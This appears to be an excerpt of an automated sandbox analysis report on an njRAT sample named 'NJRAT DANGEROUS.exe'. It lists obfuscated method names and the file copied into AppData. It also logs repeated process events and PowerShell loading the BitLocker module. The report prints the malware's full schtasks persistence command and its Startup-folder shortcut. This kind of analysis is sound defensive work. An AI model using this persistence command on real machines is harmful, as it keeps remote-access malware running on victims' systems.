Source: NJRAT DANGEROUS.exe, XIISYPtSayyijO4BjqyURZBpYZpckRlA7cyAZyrZ4cCawECzppnTpdWXcewMBtGuX.cs	High entropy of concatenated method names: 'pDklJFGAM3beyPqLYohI3Y7P7Zg07BvOrLzezWFx0GO4hjCfGirqQpmjbngSh9M66', 'z8qJutwML4lTFJmpSXV1wkpHIArRmuRjM2ekaFYVhOnQgtzfSc78fwWhWpFaRjDP9', 'yfEJ0xAVGu1IHfvnd4XEKNxWvZwKsE30MVS2evcfUoPPgEqhaQK1k4CwBryAwOOMN', 'dMTq1qiXlJbO1owwtMx0', 'FIOJA8HAOAXIOsklxAZr', 'QJ8ZUNH9OnoaHeCsuZRS', 'CeGwGxt5fnJCTZz082yw', '_7yiU9yopXNlfZSbGBdbK', '_6NW09JVIZQuU5fASbyAz', 'IVw4vdLPsB3O9DvMix4y'
Source: NJRAT DANGEROUS.exe, p42u2CdTpFEJwWFLtRvVzAuqTcRvqzmbx.cs	High entropy of concatenated method names: 'tnde14zvnCWW3IBtRf4EBKh3ut1CDKXac', 'YoKilti6hqosarzEx5OpyDpwK1YMnNdAq', 'aV9Bz4kHfYwVFKSJQLzZj1y5789im9JDM', 'A2tosO2zwIkXyseSWE3O2x0iQTdMwWgRz', 'tiuoZtXB9aMy3QEkviytNAiOAqxWLc2EE', 'wz0bfGQTodYo6mrTbobqB4bdv8GtZCJUl', 'nlnHlwMORZK67NWFZQugKwsMevSaKMp3b', 'pSoBQZEygvhqQPFuJeCTiz3fgDdnw0vi5', 'MYRUiKSDS6N1cblejrJXCi9XeZWwf0Dyn', 'IoaadOnBX2SxoXUCuu53CtOgTTSdA9KfF'
Source: NJRAT DANGEROUS.exe, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	High entropy of concatenated method names: '_2NfpL3et8bk8Kalh1cLEJG9Dce7EDTlOO', 'yq31zUPEOpnaMk4V1cy1jve2jJmLmn0wK', 'kMpLmw3Pj6imPAqxRMrslgcFXMndclvhK', 'pUJNCTHPY47aMxUkqalyR73zu6woLbMN6', 'XPK5jVJtDtgapGi8Fn48IbatiRz8AV36e', 'woFKLqsfw7Uol62Mym1wj3H6OWJFCvP98', 'YaVe3YSltCyMvknItGer9bqDiBmfQFt0C', 'XKph5IJpfxyu8BG5JQhBFFvwRt5lUC8g9', 'C4wExEzOS9YwQOg4RhsGPX9fwWorBgrmn', 'ziM3e4LA1gQTPQbdruQsbmA7gyRcmPCPfHGdZXOWb30loukeB5piQpK09I5rY9kD6'
Source: NJRAT DANGEROUS.exe, ZYLil0zEDX9C8l7Y0hjQ4rs584oXrBhIZHP1PUbL2ajhAEu0U3TFkZd6tpZA2Cmas.cs	High entropy of concatenated method names: 'fFzdEDdxvZzQ2jrhGqh4p6Paf55aBm5dMYzKJZaR1wS0aFNAiDwMqrOfPlv3oPKeJ', 'REbAaj0s6ifNnLw10fR8slKSL8bukgYExImWM4ciEvuWMNYu45D5qcJStHu1FEkHp', 'n4LQxGUVG8OH56R1KHlRIPJPt8dNcVg9AqPAojyFJJF9SCZvQX0X4CoasBHQDuse7', 'IM85zPbegoWHte7YGhCCooHRXKkHudpICLUw3XjnUmLRGAYQ2jQCAelA0Ao6mtC6V', 'zpTiYPzrFbwoXL4ZAoCl', 'ah6QoxgUww2qW3hnTQFs', 'LPz30evXuT5cgOTiOPOv', '_8FUN7oyqbGsXmRPi2HYG', 'HjwVClMSZdao9NcAucP9', 'Begs91si3qZ0N3e0r91w'
Source: NJRAT DANGEROUS.exe, vOS5UwX9hsXn72tHoEXrMZZ69cuA86uvLly5tuvo6aEHAVmaww8baJCmHybTelx3B.cs	High entropy of concatenated method names: 'eW2RBzBbtn9LSbwL7qzdqjq0GvxDmOLOLNDxDkgN418iwipphgJBoOnr0BGz81Inf', 'GSQbs85KqyP7L6eaYviGUm1XnKTuex8yuxp6SZkpOJUUJss9ThoHVWTP6AmlmRi9K', 'XUouXOiY0No6qlvcDFimpDoeBqMGssWvFLeaDnOqiv166jyjmnGKzpGQnbJpMGdVO', 'Oez0yjfZm6k3aNkzrAUJ', 'bTTA8uRZyBckhB3gsqnI', 'zXsXWznHCKDrAbAY3wzx', 'DerdoCd5aMBglQRIzXd8', 'qrcmkXDDhmOybPhPlqJc', 'jxtfy1BZtlWXmXGxMyHz', '_03W3fM6Sq5zNR4NXzjm1'
Source: NJRAT DANGEROUS.exe, kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.cs	High entropy of concatenated method names: 'IEiS33vdNiPQNwaQQNMeSFXEvNCwA57qudQdnsdPIHAuHPpDsElkKUTuHIRGPkLty', 'Djy0XSwRQhKNokm9R0Glr5Z0EjCapTIpxLe1umzO1OKdJpCfH0ER048J3iHNgy18y', '_23X3oYX0Eo8iXGmtC8hFqwsCBFRbrZxFdYSIF278OVNFqyQOMkHhu29hEaUOo7OGC', 'hElNTs2qMhE00ykL7q0mTmp82U7lo2Fj7cV46I7Ex66IklTgGGGketyO4XVM3oQZ5', 'FHOwMrSLm7ptkV8AWCYcaldlByklxc98RIQtD3oELkEeAPDYRmqYRtOliQjJX5MKU', 'RDRXW1lYjn1BFX2mOCsOnqvVnflTyafrgDktoAMc8ap7DqyIIYSNaYwh7JGtiH1c0', '_3hDwHIHv8C7a5afDDMvGFxuUC6MVN53DaUwpa8R16OsRPQi2oBMxHWA4fcHyoBAPI', 'dlTnE1j3RxqmjOXfU5KFvj3ORR5yyhNCc2CuyEtEtcK7ZbeCfaVFneZCEQC9AiDba', 'P8sVCtD7Re9JwMs9GcPV3v8EHKxZWZ3KjnZnSbmZrz75BL4btamO5ERtknOxQlxbC', 'RDNBo1SIuqar9uonqOwKyf0MXrByib87wKIHgve6WqgelhRCcgIRbjFcIlTzzFsnJ'
Source: NJRAT DANGEROUS.exe, gdzvroPSWlwimSxWtBgPbsIFQABTC4x2x.cs	High entropy of concatenated method names: 'DnH6GZKwJRZH9WsvDMGG59jU4R1nITH8A', '_2RfgbutdcMHCAMadgU9BiRyZ0BnRayTNK', 'S59iMdMzDh5KR9J6U08Kr1aooF4KDnvpb', 'Szcd3e7mfU4kSiYM6KtpPPij3nGATaobF', 'McNjEbVpz4w5X3QGboOvxWpF3qJ1DpxFD', '_8vKuJtgdlbaWa236lsGI2Rxs8VxF9E86m', 'PMxJobmJo5uw2vX0X3GmnMcxSf31I9fdg', 'Iu8UYQCRCOxrOz35rHqCZhqZ0g3hQEm5J', '_9P5K2QhKocA1pLWzbghDz9usAMib6xAfT', 'LKu5E9fyLPJkeaHrvKSGOMBWM8IJGMHhe'
Source: NJRAT DANGEROUS.exe.0.dr, 9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.cs	High entropy of concatenated method names: 'txsmZIDYWOv5ZgpOgbiq7xvIYgcFbFeeyhJQpF9u5jvPmHnnWL3cp7O3Lf11mVA54cVnx6wguOEUxnQ7v40CinhHYnFg', 'yPesSP0sUGCgFNbWPJ1pjTwusfkDgoTnt3v2nUEMzSUCrll9pxVP5fsPkpR1t8dVBQ784RdpiXZFZbseiUclac87vo13', '_4hFcBUxwKTdDx3u1UD8pS8xkghefPfbnuLO5osk5mlAJF8yTgrgBVXfyMKNvXtYyGWMCbRJbi7kYUgK0wTzuKVDMyRR5', '_1apeF5qHzj8vW4h2nxDvy5EaEtiLRqDrZeKxHzTLp6U2G3VD8RjhcvLFzR5clTh7w0uvN1mXpEoT2H2VqXJCx38HpXae'
Source: NJRAT DANGEROUS.exe.0.dr, qHSayriWtT3OXN77LC9qsEVzK7k6CILViWmdDGzzdLFX7cUvRX.cs	High entropy of concatenated method names: 'Z7DbLcEAJX0J6LXPdGG6IuDgBIxC2PUa0qEQk8FW2zMmxRRWDB', 'XMnFZyzLgHRjWroz91RrteaV72PwRupdPvvXzjv6peqjxolHhR', 'bYJKrP1k1SKP41DOXwESscCPMnRwMBsnQbyz9pqIbXk0pqUiFQ', '_8W5N8fmECS9Oy1OmUncv', '_7riJRrV98vqH7X5ZNWN2', 'AAWXhxPsfJmtQrwBNY2Z', 'sN4QDaGoeSe64aSkHAHZ', 'gb8Y9kwLCHtRfZsfQIIN', 'x6IrrIBuCuzp06yEB0pf', 'i0IxpGKfCwI946BRRemL'
Source: NJRAT DANGEROUS.exe.0.dr, XOBTV4xzrjIi7ydC4irRLj2m8yvVfEd9wOAS0QebbgneG7yawFJtgOsknzkuOUmh8KjvNbCZIZRO1q6WyiArWzAcDu.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'eETC1ztypZqcZj6UmGL2mUi3YkFIPv3QiNy0vvhVTLMrKrRMgWrzdeePLgYudndC969Dk4hjeJ5R61IQNYshFkT1A8Sj', 'fhZSGNfawqcOTB7HPq2kohDpC5Ot11IgcqjEq2JSNkVHuZ0atvrFm5oux7PW9DlezkR7V1m2f8RE2JaxcMYBvKDsDigY', '_4gLirK7bBm6Cr34YlEusAZBfWH0CUBshd44ro73c3JlCc81Nr7Is3lzTZPH81oBenGc4TWM7ce9Wi7DgUwqjdCSSs3zR', 'S3JPpNz2fqKG6y4zpwaOAIVv2Hh237bfG4lzZZmL9vEqrjGLcwt16QxXNBJrfrwAs2GHhIX0a4VZGgoxGwY3wdSO9NKD'
Source: NJRAT DANGEROUS.exe.0.dr, W1ECQFPlvJC03oUAAQoBl7CLAYVqZ4mg3bZbjnbANJzDMTjPE8ZJuGXHBbmCHYy7c.cs	High entropy of concatenated method names: 'shM2vbZx3BxV5S2heYmbBhG4YYP7tusrhWDNQcsJ8plg3uDAXCrajrhMxZphGPV5F', 'AUdFUYzhuyWj9l2JfGOq', 'J1Tr4oY4YJeejPv1Zqyg', 'dBM4F61dwehM6KZIgjPO', 'RPBnhanWzYkr2lBGTqZh'
Source: NJRAT DANGEROUS.exe.0.dr, XIISYPtSayyijO4BjqyURZBpYZpckRlA7cyAZyrZ4cCawECzppnTpdWXcewMBtGuX.cs	High entropy of concatenated method names: 'pDklJFGAM3beyPqLYohI3Y7P7Zg07BvOrLzezWFx0GO4hjCfGirqQpmjbngSh9M66', 'z8qJutwML4lTFJmpSXV1wkpHIArRmuRjM2ekaFYVhOnQgtzfSc78fwWhWpFaRjDP9', 'yfEJ0xAVGu1IHfvnd4XEKNxWvZwKsE30MVS2evcfUoPPgEqhaQK1k4CwBryAwOOMN', 'dMTq1qiXlJbO1owwtMx0', 'FIOJA8HAOAXIOsklxAZr', 'QJ8ZUNH9OnoaHeCsuZRS', 'CeGwGxt5fnJCTZz082yw', '_7yiU9yopXNlfZSbGBdbK', '_6NW09JVIZQuU5fASbyAz', 'IVw4vdLPsB3O9DvMix4y'
Source: NJRAT DANGEROUS.exe.0.dr, p42u2CdTpFEJwWFLtRvVzAuqTcRvqzmbx.cs	High entropy of concatenated method names: 'tnde14zvnCWW3IBtRf4EBKh3ut1CDKXac', 'YoKilti6hqosarzEx5OpyDpwK1YMnNdAq', 'aV9Bz4kHfYwVFKSJQLzZj1y5789im9JDM', 'A2tosO2zwIkXyseSWE3O2x0iQTdMwWgRz', 'tiuoZtXB9aMy3QEkviytNAiOAqxWLc2EE', 'wz0bfGQTodYo6mrTbobqB4bdv8GtZCJUl', 'nlnHlwMORZK67NWFZQugKwsMevSaKMp3b', 'pSoBQZEygvhqQPFuJeCTiz3fgDdnw0vi5', 'MYRUiKSDS6N1cblejrJXCi9XeZWwf0Dyn', 'IoaadOnBX2SxoXUCuu53CtOgTTSdA9KfF'
Source: NJRAT DANGEROUS.exe.0.dr, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	High entropy of concatenated method names: '_2NfpL3et8bk8Kalh1cLEJG9Dce7EDTlOO', 'yq31zUPEOpnaMk4V1cy1jve2jJmLmn0wK', 'kMpLmw3Pj6imPAqxRMrslgcFXMndclvhK', 'pUJNCTHPY47aMxUkqalyR73zu6woLbMN6', 'XPK5jVJtDtgapGi8Fn48IbatiRz8AV36e', 'woFKLqsfw7Uol62Mym1wj3H6OWJFCvP98', 'YaVe3YSltCyMvknItGer9bqDiBmfQFt0C', 'XKph5IJpfxyu8BG5JQhBFFvwRt5lUC8g9', 'C4wExEzOS9YwQOg4RhsGPX9fwWorBgrmn', 'ziM3e4LA1gQTPQbdruQsbmA7gyRcmPCPfHGdZXOWb30loukeB5piQpK09I5rY9kD6'
Source: NJRAT DANGEROUS.exe.0.dr, ZYLil0zEDX9C8l7Y0hjQ4rs584oXrBhIZHP1PUbL2ajhAEu0U3TFkZd6tpZA2Cmas.cs	High entropy of concatenated method names: 'fFzdEDdxvZzQ2jrhGqh4p6Paf55aBm5dMYzKJZaR1wS0aFNAiDwMqrOfPlv3oPKeJ', 'REbAaj0s6ifNnLw10fR8slKSL8bukgYExImWM4ciEvuWMNYu45D5qcJStHu1FEkHp', 'n4LQxGUVG8OH56R1KHlRIPJPt8dNcVg9AqPAojyFJJF9SCZvQX0X4CoasBHQDuse7', 'IM85zPbegoWHte7YGhCCooHRXKkHudpICLUw3XjnUmLRGAYQ2jQCAelA0Ao6mtC6V', 'zpTiYPzrFbwoXL4ZAoCl', 'ah6QoxgUww2qW3hnTQFs', 'LPz30evXuT5cgOTiOPOv', '_8FUN7oyqbGsXmRPi2HYG', 'HjwVClMSZdao9NcAucP9', 'Begs91si3qZ0N3e0r91w'
Source: NJRAT DANGEROUS.exe.0.dr, vOS5UwX9hsXn72tHoEXrMZZ69cuA86uvLly5tuvo6aEHAVmaww8baJCmHybTelx3B.cs	High entropy of concatenated method names: 'eW2RBzBbtn9LSbwL7qzdqjq0GvxDmOLOLNDxDkgN418iwipphgJBoOnr0BGz81Inf', 'GSQbs85KqyP7L6eaYviGUm1XnKTuex8yuxp6SZkpOJUUJss9ThoHVWTP6AmlmRi9K', 'XUouXOiY0No6qlvcDFimpDoeBqMGssWvFLeaDnOqiv166jyjmnGKzpGQnbJpMGdVO', 'Oez0yjfZm6k3aNkzrAUJ', 'bTTA8uRZyBckhB3gsqnI', 'zXsXWznHCKDrAbAY3wzx', 'DerdoCd5aMBglQRIzXd8', 'qrcmkXDDhmOybPhPlqJc', 'jxtfy1BZtlWXmXGxMyHz', '_03W3fM6Sq5zNR4NXzjm1'
Source: NJRAT DANGEROUS.exe.0.dr, kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.cs	High entropy of concatenated method names: 'IEiS33vdNiPQNwaQQNMeSFXEvNCwA57qudQdnsdPIHAuHPpDsElkKUTuHIRGPkLty', 'Djy0XSwRQhKNokm9R0Glr5Z0EjCapTIpxLe1umzO1OKdJpCfH0ER048J3iHNgy18y', '_23X3oYX0Eo8iXGmtC8hFqwsCBFRbrZxFdYSIF278OVNFqyQOMkHhu29hEaUOo7OGC', 'hElNTs2qMhE00ykL7q0mTmp82U7lo2Fj7cV46I7Ex66IklTgGGGketyO4XVM3oQZ5', 'FHOwMrSLm7ptkV8AWCYcaldlByklxc98RIQtD3oELkEeAPDYRmqYRtOliQjJX5MKU', 'RDRXW1lYjn1BFX2mOCsOnqvVnflTyafrgDktoAMc8ap7DqyIIYSNaYwh7JGtiH1c0', '_3hDwHIHv8C7a5afDDMvGFxuUC6MVN53DaUwpa8R16OsRPQi2oBMxHWA4fcHyoBAPI', 'dlTnE1j3RxqmjOXfU5KFvj3ORR5yyhNCc2CuyEtEtcK7ZbeCfaVFneZCEQC9AiDba', 'P8sVCtD7Re9JwMs9GcPV3v8EHKxZWZ3KjnZnSbmZrz75BL4btamO5ERtknOxQlxbC', 'RDNBo1SIuqar9uonqOwKyf0MXrByib87wKIHgve6WqgelhRCcgIRbjFcIlTzzFsnJ'
Source: NJRAT DANGEROUS.exe.0.dr, gdzvroPSWlwimSxWtBgPbsIFQABTC4x2x.cs	High entropy of concatenated method names: 'DnH6GZKwJRZH9WsvDMGG59jU4R1nITH8A', '_2RfgbutdcMHCAMadgU9BiRyZ0BnRayTNK', 'S59iMdMzDh5KR9J6U08Kr1aooF4KDnvpb', 'Szcd3e7mfU4kSiYM6KtpPPij3nGATaobF', 'McNjEbVpz4w5X3QGboOvxWpF3qJ1DpxFD', '_8vKuJtgdlbaWa236lsGI2Rxs8VxF9E86m', 'PMxJobmJo5uw2vX0X3GmnMcxSf31I9fdg', 'Iu8UYQCRCOxrOz35rHqCZhqZ0g3hQEm5J', '_9P5K2QhKocA1pLWzbghDz9usAMib6xAfT', 'LKu5E9fyLPJkeaHrvKSGOMBWM8IJGMHhe'

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

File created: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "NJRAT DANGEROUS" /tr "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NJRAT DANGEROUS.lnk

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NJRAT DANGEROUS.lnk

Loading BitLocker PowerShell Module

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
